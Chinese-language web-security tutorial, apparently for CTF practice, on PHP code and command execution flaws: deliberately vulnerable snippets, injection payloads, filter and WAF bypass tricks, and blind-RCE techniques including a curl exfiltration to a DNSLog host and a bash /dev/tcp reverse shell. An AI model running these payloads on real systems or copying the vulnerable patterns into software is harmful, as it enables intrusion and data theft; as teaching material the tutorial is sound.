代码执行与命令执行

1. 漏洞介绍

当用户提交的参数被服务端当作代码解析并执行时,就会产生此类漏洞。

  • 广义代码注入: 覆盖大半安全漏洞分类,例如 SQL 注入、XSS 跨站脚本攻击等。
  • 狭义代码执行: 动态代码执行函数的参数过滤不严格,导致用户输入的数据被当作服务端脚本语言(如 PHP、Python、Java 等)代码执行。

2. 常见 PHP 代码执行危险函数

大致分为五类:

(1) eval() 与 assert()

接受字符串,并将其作为脚本执行。当用户可以控制传入的字符串时,即存在代码注入漏洞。

  • eval(string $code):把字符串作为 PHP 代码执行(并非严格意义上的函数,而是语言构造器)。

  • assert(mixed $assertion):检查一个断言是否为 false,如果传入字符串,也会被作为 PHP 代码执行(PHP 7.2 起废弃了字符串执行,PHP 8.0 起彻底移除)。

基础用法:

1
2
3
4
5
<?php
highlight_file(__FILE__);
eval("phpinfo();");
// assert("phpinfo();");
?>

GET/POST 传参利用:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
eval($cmd);
?>
  • 输入 Payload: ?cmd=phpinfo();

进阶:遇到闭合与注释过滤

当开发人员尝试拼接代码并加引号时:

1
2
3
4
5
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
eval("\$ret = strtolower('$cmd');");
?>
  • 输入 Payload: ?cmd=');phpinfo();//

  • 注意: 如果服务器开启了 magic_quotes_gpc 或使用了 addslashes(),单引号 ' 会被转义为 \',导致上述闭合方法失效。

(2) preg_replace() /e 模式

原本用于执行正则表达式的搜索和替换。但如果使用了危险的 /e 修饰符,preg_replace() 会将 replacement 参数当作 PHP 代码执行。

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$cmd = $_GET['cmd'];
// 将匹配到的内容替换为 $cmd 的执行结果
preg_replace('/<data>(.*)<\/data>/e', '$ret="\\1";', $cmd);
echo $ret;
?>
  • 输入 Payload: ?cmd=<data>{${phpinfo()}}</data>

(3) create_function() 匿名函数注入

主要用来创建匿名函数。如果没有对传递的参数进行严格过滤,攻击者可以闭合原有的函数代码块,从而注入任意代码。

PHP

1
2
3
4
5
<?php
// 原理:底层相当于 eval("function __lambda_func(\$args) { $code }");
$func = create_function('', $_REQUEST['cmd']);
$func();
?>
  • 输入 Payload: ?cmd=}phpinfo();/*

(4) 动态函数调用

通过声明变量接收函数名称,随后利用变量名动态调用该函数。

示例 1:常规动态调用

1
2
3
4
5
6
<?php
if(isset($_GET["func"])){
$myfunc = $_GET["func"];
echo $myfunc(); // 将变量值作为函数名执行
}
?>
  • 输入 Payload: ?func=phpinfo

示例 2:动态函数与参数拼接

1
2
3
<?php
$_GET['a']($_GET['b']);
?>
  • 输入 Payload: ?a=assert&b=phpinfo() (等价于执行 assert(phpinfo());

(5) 回调函数 (Callback)

用户自定义函数可作为参数传递给回调执行函数。

call_user_func() / call_user_func_array()

PHP

1
2
3
<?php	
call_user_func($_GET['func'], $_GET['cmd']);
?>
  • 输入 Payload: ?func=assert&cmd=phpinfo()

数组遍历回调:array_filter() / array_map()

PHP

1
2
3
4
5
6
<?php
$cmd = $_GET['cmd'];
$func = $_GET['func'];
$array1 = array($cmd);
$result = array_filter($array1, $func); // 使用 $func 过滤 $array1 的每个元素
?>
  • 输入 Payload: ?func=system&cmd=whoami

3. 常见过滤与绕过技巧 (Bypass)

遇到 WAF 或代码里的黑名单正则过滤时,通常从以下维度进行绕过:

维度一:系统命令拼接与符号过滤绕过

1. 逻辑运算符拼接

  • && (与):前一个成功才执行后一个。例:mkdir test && cd test
  • || (或):前一个失败才执行后一个。例:cd not_exist || echo "fail"
  • & (后台):将前一个放到后台,立即并行执行后一个。
  • ; (分号):无论前一个成功与否,继续执行下一个。

2. Shell 符号过滤与绕过

  • 引号绕过(打断关键字): 单/双引号 ""'' 定义空字符串。c""at fl''ag.php
  • 反斜杠转义: c\at fl\ag.php
  • 插入空变量: ca$@t fl$1ag.phpcat fl${x}ag.php$@$1 在 Bash 中为空,拼接后不影响原命令)。
  • 通配符匹配: * 匹配任意数量字符,? 匹配单个字符。
    • system("cat f????php");
    • system("cat /e't'c/*ss*");

3. 空格过滤绕过

默认由 IFS (Internal Field Separator) 变量控制。

  • URL 编码:%20 (空格), %09 (Tab)
  • 输入重定向符:<<> (例:cat<flag.php
  • 大括号扩展 (Brace Expansion):{cat,flag.php}
  • IFS 变量替换:$IFS$9, ${IFS}, $IFS

维度二:危险函数过滤绕过 (PHP 代码层)

1. 替代危险函数的“平替”

systemshell_exec 被禁时:

  • 直接回显类: passthru()
  • 无直接回显类: exec() (需配合 echo 取最后一行返回)。
  • 符号类: ` 反引号(等同于 shell_exec,例:echo `ls`;)。
  • 底层进程类: popen(), proc_open(), pcntl_exec()(常用于 Bypass disable_functions)。

2. 纯 PHP 读文件替代系统命令

不依赖 Linux Shell 命令(如 cat),直接用 PHP 文件操作函数读取:

  • 直接输出: highlight_file('flag.php'), show_source('flag.php'), readfile('flag.php')
  • 需配合输出函数: file_get_contents('flag.php'), file('flag.php') (将文件按行读入数组)
  • 纯 PHP 看目录: print_r(scandir('/'));, var_dump(glob('/*'));

3. PHP 关键字过滤绕过

cat, flag, php 等敏感词被拦截:

  • 字符串拼接: ('sy'.'stem')('ls');$a='f'.'lag'; highlight_file($a);
  • 编码转换: Base64:eval(base64_decode('c3lzdGVtKCdscycpOw==')); (还可利用 Hex、URL 编码)。
  • 异或/取反/或 (无数字字母 WebShell): 利用符号位运算生成字符串。例 (~%8F%97%8F%96%91%99%90)() 等同于 phpinfo()

维度三:高阶结合绕过

1. 文件包含结合

当执行命令的函数全部被死死封杀时,利用 include() / require() 替代。

机制:内容中有 PHP 代码直接执行;无 PHP 代码(如 TXT)则原样输出。

基础拼接:

1
?c=include('fl'.'ag.php');

⚠️ 伪协议配合 (php://filter):

如果直接包含 flag.php(且内容是合法 PHP 标签),代码会被静默执行,页面无显示。必须在包含前进行 Base64 编码,破坏其 PHP 语法让它变成纯字符串:

1
?c=include('php://filter/read=convert.base64-encode/resource=flag.php');

拿到 Base64 字符串后,自行解码即可看到源码。

2. 参数逃逸 (利用超全局变量)

当 Payload 自身面临极严格的字符限制时,通过转交参数位置绕过:

1
2
// 利用 $_GET 传参避开单双引号和关键字过滤
?c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php

无方括号 [] 逃逸法:

1
?c=eval(next(reset(get_defined_vars())));&1=system("tac flag.php");
  • 原理: get_defined_vars() 获取所有已定义变量。reset() 获取第一个元素(通常是 $_GET 数组)。next() 将内部指针移动到第二个元素,提取出 1 的值 system("tac flag.php"); 并丢给 eval 执行。

利用 Session 机制的 ID 传递 Payload:

1
2
?c=session_start();system(session_id());
// 请求头中加入: Cookie: PHPSESSID=ls

4. 无回显命令执行 (Blind RCE)

场景: 靶机上的执行结果被重定向到 /dev/null 2>&1,将标准输出和错误信息全部丢弃,导致网页没有任何回显。

1
2
3
4
5
6
7
<?php
function hello_shell($cmd){
// 将不会有任何回显,加上 2>&1 连错误也会被屏蔽
system($cmd." >/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
?>

解决思路与外带技巧:

  • 1. 命令分隔符“截断”

    • 原理: 利用逻辑运算符将 >/dev/null 和我们要执行的命令强行断开。

    • Payload: ?cmd=ls; (最终拼成 ls; >/dev/null 2>&1。第一条 ls 正常执行并回显在网页上,第二条空命令被重定向到黑洞)。

    • Payload: ?cmd=cat flag.php || (读取 flag,前面的执行不受后面黑洞的影响)。

  • 2. 结果写入到 Web 文件

    • 原理: 如果有目录写入权限,把结果保存在网站目录的独立文件中,再用浏览器访问。

    • Payload: ?cmd=cat flag.php > result.txt;

    • 执行后: 浏览器访问 http://靶机地址/result.txt

  • 3. DNSLog 外带数据 (OOB)

    • 原理: 靶机不允许写文件但出网,利用 DNS 解析记录将命令结果拼接到子域名中“带”出来。

    • 准备: 在 ceye.io 或 dnslog.cn 申请专属域名(如 1234.ceye.io)。

    • Payload: ?cmd=curl http://1234.ceye.io/?data=$(cat flag.txt);

    • 执行后: 靶机发起外部请求,登录 DNSLog 后台查看访问记录即可获取数据。

  • 4. 反弹 Shell (Reverse Shell)

    • 原理: 让靶机主动连接攻击机的监听端口,将 Shell 完全接管。

    • 准备: 攻击机(假设 IP 1.1.1.1)执行 nc -lvvp 6666 开启监听。

    • Payload: ?cmd=bash -i >& /dev/tcp/1.1.1.1/6666 0>&1;

    • 执行后: 攻击机获取交互式命令行,限制瞬间解除。